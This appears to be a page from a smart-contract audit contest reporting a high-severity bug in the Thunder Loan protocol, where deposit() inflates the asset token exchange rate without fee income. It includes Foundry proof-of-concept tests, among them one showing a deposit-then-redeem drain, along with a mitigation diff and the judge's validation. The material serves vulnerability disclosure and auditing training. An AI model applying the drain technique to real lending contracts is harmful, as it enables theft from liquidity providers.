Thunder Loan
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Submission Details
Severity: high
Valid

LP Accounting Insolvency: Deposit Increases Exchange Rate Without Corresponding Asset Income

rayshang

Root + Impact

Description

// Root cause in the codebase with @> marks to highlight the relevant sectionThe
ThunderLoan.deposit() function incorrectly treats a deposit as an interest-generating operation.
​
After minting AssetTokens to the liquidity provider, the function calls getCalculatedFee(token, amount) and immediately passes the calculated amount to assetToken.updateExchangeRate().
​
However, the subsequent safeTransferFrom() only transfers the deposited principal (amount). No additional fee is collected from the depositor, and no flash loan has occurred.
​
As a result, the exchange rate increases without corresponding underlying assets being added to the pool.
​
assetToken.mint(msg.sender, mintAmount);
​
@> uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee);
​
token.safeTransferFrom(msg.sender, address(assetToken), amount);
​
The redeem() function subsequently calculates withdrawals using the inflated exchange rate, which can cause total recorded redemption claims to exceed the available underlying assets.
​
​

Risk

Likelihood: High

Any user can trigger this accounting discrepancy by making a normal deposit of an allowed ERC20 token. No privileged access, malicious receiver, or flash loan is required.

Impact: High (proposed)

Liquidity providers may be unable to fully redeem their recorded asset claims.

In a pool with multiple LPs, an earlier withdrawal can succeed at the inflated exchange rate, leaving insufficient underlying assets for later LPs. This creates a potential transfer of economic value between liquidity providers and causes withdrawal failures.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {BaseTest} from "./BaseTest.t.sol";
import {AssetToken} from "../../src/protocol/AssetToken.sol";
​
contract DepositInflationPoC is BaseTest {
function testDepositInflatesExchangeRate() public {
address alice = address(0xA11CE);
uint256 depositAmount = 1000e18;
​
// Allow the underlying token.
thunderLoan.setAllowedToken(tokenA, true);
​
// Fund Alice and perform a normal deposit.
tokenA.mint(alice, depositAmount);
​
vm.startPrank(alice);
tokenA.approve(address(thunderLoan), depositAmount);
thunderLoan.deposit(tokenA, depositAmount);
vm.stopPrank();
​
AssetToken asset =
thunderLoan.getAssetFromToken(tokenA);
​
uint256 actualAssets =
tokenA.balanceOf(address(asset));
​
uint256 recordedClaim =
asset.balanceOf(alice) *
asset.getExchangeRate() /
asset.EXCHANGE_RATE_PRECISION();
​
// No flash loan occurred.
assertEq(actualAssets, 1000e18);
assertEq(recordedClaim, 1003e18);
assertGt(recordedClaim, actualAssets);
​
// Full redemption fails because the recorded
// claim is greater than the actual assets.
vm.startPrank(alice);
​
vm.expectRevert(
bytes("ERC20: transfer amount exceeds balance")
);
​
thunderLoan.redeem(tokenA, type(uint256).max);
​
vm.stopPrank();
​
// The failed redemption does not burn her shares.
assertEq(asset.balanceOf(alice), 1000e18);
assertEq(tokenA.balanceOf(address(asset)), 1000e18);
}
}

Recommended Mitigation

- remove this code
+ add this code
-uint256 calculatedFee = getCalculatedFee(token, amount);
-assetToken.updateExchangeRate(calculatedFee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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